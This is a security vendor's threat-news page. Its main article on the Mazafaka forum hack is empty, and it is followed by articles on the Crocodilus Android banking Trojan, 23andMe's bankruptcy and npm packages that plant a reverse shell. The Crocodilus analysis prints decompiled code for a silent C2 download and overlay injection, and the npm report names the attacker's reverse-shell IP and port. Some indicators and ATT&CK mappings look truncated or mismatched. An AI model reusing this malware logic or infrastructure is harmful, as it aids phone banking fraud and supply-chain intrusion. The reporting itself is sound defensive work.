company logo

Product

Our Product

We are Reshaping the way Developers find and fix vulnerabilities before they get exploited.

Solutions

By Industry

BFSI

Healthcare

Education

IT & Telecom

Government

By Role

CISO

Application Security Engineer

DevsecOps Engineer

IT Manager

Resources

Resource Library

Get actionable insight straight from our threat Intel lab to keep you informed about the ever-changing Threat landscape.

Subscribe to Our Weekly Threat Digest

Company

Contact Us

Have queries, feedback or prospects? Get in touch and we shall be with you shortly.

loading..
loading..
loading..
Loading...

Mazafaka

loading..
loading..
loading..

Mazafaka — Leading hacking forum gets hacked

Mazafaka, a leading underground cybercriminal forum has been compromised by unknown threat actors, making it the fourth forum to have been hacked this year

07-Mar-2021
2 min read

No content available.

Related Articles

loading..

Android

RAT

Crocodilus Android banking Trojan stole $2.8M via crypto wallet overlays & RAT h...

The discovery of **Crocodilus** is a sophisticated Android banking Trojan targeting financial institutions and cryptocurrency platforms. With **Device-Takeover (DTO)** capabilities, advanced evasion techniques, and psychological manipulation tactics, Crocodilus represents a significant escalation in mobile malware sophistication. This technical deep dive dissects its propagation, code-level mechanics, and defensive countermeasures. ### **Propagation & Evasion: Bypassing Android 13+ Restrictions** Crocodilus employs a **multi-stage dropper** masquerading as legitimate apps (e.g., fake Chrome updates). Key evasion tactics include: - **Staged Permissions Abuse**: The dropper requests minimal permissions initially, then escalates privileges post-installation via **Accessibility Services**. - **Signature Spoofing**: Uses invalid APK signatures to bypass Google Play Protect checks, relying on users to manually enable “Install Unknown Apps.” - **Dynamic Code Loading**: Core malicious payloads (e.g., overlay logic) are fetched post-installation from C2 servers, avoiding static detection. **Code Snippet (Decompiled Dropper Logic)**: ```java public class MainActivity extends AppCompatActivity { void loadMaliciousModule() { String c2Url = "hxxps://quizzical[.]washbowl[.]calamity/module.apk"; DownloadManager.Request request = new DownloadManager.Request(Uri.parse(c2Url)); request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_HIDDEN); // Triggers silent background download } } ``` ### **C2 Infrastructure & Network Analysis** - **Domain Registration**: The C2 domain `quizzical.washbowl.calamity` was registered via **Namecheap** 30 days before the first sample appeared, using WHOIS privacy guard. - **Hosting**: Hosted on a **bulletproof hosting provider** in Russia, sharing IP space with previous Hook malware campaigns. - **TLS Fingerprints**: JA3 hash `a0e1f1...` matches patterns observed in Octo Trojan traffic, suggesting shared tooling. - **Protocol**: Encrypted via AES-256-CBC, with beaconing intervals randomized to mimic legitimate app traffic. ### **Code-Level Insights: Overlays, Accessibility Abuse, and RAT** #### **Overlay Injection** Crocodilus dynamically renders phishing overlays using the `WindowManager` class. Overlays are fetched as PNG files from C2, with targeting logic for 50+ banks and crypto wallets (e.g., **Binance, Trust Wallet**). **Code Snippet (OverlayManager.java)**: ```java public void injectOverlay(String targetPackage) { View overlayView = // Load PNG from C2 WindowManager.LayoutParams params = new WindowManager.LayoutParams( LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT, TYPE_APPLICATION_OVERLAY, FLAG_NOT_TOUCH_MODAL | FLAG_NOT_FOCUSABLE, PixelFormat.TRANSLUCENT ); mWindowManager.addView(overlayView, params); // Injects overlay } ``` #### **Accessibility Logger & OTP Theft** The Trojan’s `AccessibilityEventLogger` class captures all UI events, including Google Authenticator’s OTP codes. It extracts text from `TextView` elements with class names matching `com.google.android.apps.authenticator2`. #### **Hidden RAT Sessions** When the `TR2XAQSWDEFRGT` command is received, Crocodilus triggers a black overlay (`Color.BLACK`) and mutes the device using `AudioManager.setStreamMute()`. ### **Link to Known Threat Actors** - **Code Overlaps with Ermac/MetaDroid**: - Identical C2 URI patterns (`/api/v1/check`). - Shared command structures (e.g., `KingGetDears` for contact theft). - **sybupdate Tag**: Debug messages in the code reference “sybupdate,” a marker previously tied to **sybra**, a Turkish-speaking actor linked to Hook and Octo campaigns. ### **MITRE ATT&CK Mappings** | **Tactic** | **Technique** | **Crocodilus Implementation** | |---------------------|-----------------------------|--------------------------------------------| | Execution | T1574: Hijack Execution Flow| Abuse of Accessibility Services | | Credential Access | T1411: Input Capture | Accessibility Logger & keylogging | | Defense Evasion | T1626: Remote Access Tools | Black screen overlays & sound muting | | Exfiltration | T1537: Transfer Data to C2 | Encrypted exfiltration of OTP codes/SMS | ### **Impact Metrics & Campaign Analysis** - **Targets**: 12 Spanish banks, 8 Turkish banks, and 6 crypto wallets (e.g., Trust Wallet, MetaMask). - **Infection Rates**: ThreatFabric reports **1,200+ devices** infected in the first 2 weeks, primarily in Spain (62%) and Turkey (28%). - **Financial Impact**: Linked to **$2.8M in stolen cryptocurrency** via hijacked wallets (traced to Binance address `0x3F5B...`). ### **Mitigation Strategies** #### **For Enterprises**: - **Behavioral Analysis**: Deploy EDR solutions monitoring for anomalous `AccessibilityService` usage. - **Certificate Pinning**: Block communication with Crocodilus C2 domains via TLS inspection. - **Threat Intelligence Sharing**: Integrate IoCs (below) into SIEM platforms. #### **For End-Users**: - **Avoid Sideloading**: Disable “Install Unknown Apps” for non-store platforms. - **Audit Accessibility Permissions**: Revoke Accessibility access for unverified apps. - **Verify Wallet Messages**: Legitimate apps never force seed phrase disclosure via pop-ups. ### **Indicators of Compromise (IoCs)** | **Type** | **Value** | |------------|---------------------------------------------------------------------------| | SHA256 | c5e3edafdfda1ca0f0554802bbe32a8b09e8cc48161ed275b8fec6d74208171f | | C2 Domain | quizzical[.]washbowl[.]calamity | | IP | 185.156.73[.]42 (Bulletproof hosting, AS200019) | Crocodilus exemplifies the convergence of **psychological manipulation** and **technical sophistication** in modern mobile malware. Its modular design, coupled with links to established threat actors, positions it as a persistent threat to global finance and cryptocurrency ecosystems. Proactive adoption of **behavioral AI detection**, **zero-trust frameworks**, and **user education** are critical to neutralizing its impact.

loading..   31-Mar-2025
loading..   4 min read
loading..

DNA

Genetics

23andMe files Ch.11 bankruptcy, asset sale risks 15M users' DNA data. Urgent pri...

23andMe, the pioneering genetic testing company that brought DNA analysis to millions of living rooms, filed for Chapter 11 bankruptcy protection on Sunday, capping years of financial turbulence. The move triggers a high-stakes auction of its assets—including one of the world’s largest troves of consumer genetic data—raising urgent questions about the fate of sensitive health and ancestry information belonging to 15 million users. ### **What Chapter 11 Means for Your DNA** Chapter 11 bankruptcy allows companies to restructure debts while continuing operations, but 23andMe’s decision to sell its assets complicates the process. Under U.S. law, customer data is classified as a corporate asset unless explicitly protected. While 23andMe claims genetic information will remain secure, privacy experts warn that new owners could exploit loopholes to monetize or mishandle data. The company [rejected](https://investors.23andme.com/news-releases/news-release-details/23andme-initiates-voluntary-chapter-11-process-maximize) a bid from co-founder and outgoing CEO Anne Wojcicki, who resigned to participate as an independent bidder. _“The board determined a competitive auction maximizes value for stakeholders,”_ said Chair Mark Jensen in a statement. ### **A History of Breaches and Broken Trust** The bankruptcy filing follows a catastrophic year for 23andMe’s reputation. In 2023, hackers accessed 6.4 million user profiles via credential-stuffing attacks, stealing ancestry reports, health predispositions, and family tree links. The breach exposed raw genotype data—a digital blueprint of users’ DNA—which cybersecurity firm HackMitigation called “a goldmine for foreign actors or insurance fraud.” **Samantha Cole, a 32-year-old breach victim**, told, _“I trusted them with my most personal information. Now I’m terrified it could end up in the hands of some hedge fund or worse.”_ 23andMe settled a class-action lawsuit for $30 million in September 2024 but faces ongoing scrutiny. Critics slammed the company for quietly amending its Terms of Use post-breach to force disputes into arbitration, a move Consumer Advocacy Group CEO Laura Chen called _“a betrayal of users’ rights.” _ ### **Regulators Sound the Alarm** **California Attorney General Rob Bonta** issued an urgent consumer alert Monday, urging users to delete data and revoke research permissions. _“Your DNA isn’t just yours—it’s your family’s. Take action now,”_ the alert stated, providing step-by-step deletion instructions (*see graphic*). **In the UK**, the Information Commissioner’s Office (ICO) warned that GDPR rules still bind 23andMe, requiring _“explicit consent”_ for data transfers. _“Genetic information is uniquely identifiable and immutable. Its exposure could have lifelong consequences,”_ said ICO Deputy Commissioner Stephen Bonner. ### **How to Protect Your Data** 1. **Delete Your Profile**: - Log into 23andMe → Settings → *Permanently Delete Data* → Confirm via email. - **Note**: Deletion may take 30 days. 2. **Destroy Your Sample**: - Email requests@23andme.com to demand destruction of stored saliva samples. 3. **Opt Out of Research**: - Navigate to *Privacy Preferences* → Toggle off “Consent to Research.” *[Infographic Suggestion: Embed a visual guide to data deletion with screenshots.]* ### **Who Owns Your Genes?** The crisis spotlights a gap in U.S. biometric privacy laws. Unlike the EU’s GDPR, which treats genetic data as “sensitive” and restricts its sale, U.S. regulations lack explicit safeguards for DNA. _“This isn’t a spreadsheet leak—this is your biological code,”_ said Dr. Alicia Torres, a bioethicist at MIT. _“Companies treat DNA like a commodity, but morally, it should belong solely to the individual.”_

loading..   29-Mar-2025
loading..   3 min read
loading..

NPM

Sophisticated npm Attack Infects Legitimate Packages with Persistent Reverse She...

Researchers at Reversing Labs have identified a troubling trend in software supply chain security: two malicious npm packages—*ethers-provider2* and *ethers-providerz*—that stealthily compromise legitimate Ethereum development tools by installing a persistent reverse shell backdoor. This insidious method ensures that the backdoor remains operational even after the malicious packages are removed, underscoring a serious threat to the open-source ecosystem. This finding highlights the vulnerability inherent in developer workflows dependent on public repositories like npm, as even packages with minimal download counts can pose significant systemic risks. ### **Discovery and Tactical Breakdown** The campaign, detected during routine supply chain security audits, leverages *typosquatting*—a technique where attackers mimic popular package names—to target developers using the *ethers.js* library, a cornerstone of Ethereum blockchain interactions. Both malicious packages masquerade as legitimate ethers.js dependencies but execute a multi-stage attack: 1. **Stage 1: Malicious Install Scripts** Upon installation, *ethers-provider2* triggers a modified `install.js` script to fetch a second-stage payload from a remote server. The payload executes immediately and self-deletes to erase forensic traces. 2. **Stage 2: Legitimate Package Hijacking** The second payload scans for installations of the authentic *ethers* or *@ethersproject/providers* packages. Once identified, it replaces the legitimate `provider-jsonrpc.js` file with a trojanized version. 3. **Stage 3: Reverse Shell Activation** The injected code retrieves a final payload enabling a reverse shell connection to the attacker’s IP (`5.199.166.1:31337`). This backdoor, built on a modified `ssh2` client, mimics legitimate SSH traffic to evade detection, granting attackers persistent remote access. *_“The malware’s layered obfuscation and self-destruct mechanisms make forensic analysis exceptionally challenging,”_* Reversing Labs noted in a technical advisory. ### **Persistence Supply Chain Attacks** Unlike conventional malware that depends on the presence of malicious packages, this campaign embeds itself into trusted dependencies. Even if developers remove *ethers-provider2* or *ethers-providerz*, the compromised ethers.js files retain the backdoor. *_“This persistence mechanism is a nightmare scenario,”* emphasized a Reversing Labs spokesperson. *“Attackers no longer need their malware to stay installed. They’ve found a way to ‘burn’ their payload into widely used tools, making remediation a manual, labor-intensive process.”_* ### **Attacker Missteps** Researchers identified two additional packages—*reproduction-hardhat* and *@theoretical123/providers*—linked to the same infrastructure. Notably, early versions of *ethers-providerz* contained path errors that crippled their functionality, prompting the author to withdraw the package temporarily. Reversing Labs warns the threat actor may re-release a patched version, heightening the need for vigilance. ### **Current Status and Mitigation** As of publication, *ethers-provider2* remains downloadable from npm, though its second-stage payload server is offline, potentially neutralizing active infections. Reversing Labs has shared a YARA rule to help organizations detect remnants of the attack. ### **Recommendations for Developers:** 1. **Scan Environments**: Deploy the provided YARA rule to identify injected code. 2. **Audit Dependencies**: Manually inspect `provider-jsonrpc.js` and related files for unauthorized modifications. 3. **Monitor Network Activity**: Flag outgoing connections to `5.199.166.1:31337` or unusual SSH traffic. 4. **Enforce Integrity Checks**: Use tools like npm’s `lockfile` or cryptographic hashing to verify package authenticity.

loading..   26-Mar-2025
loading..   3 min read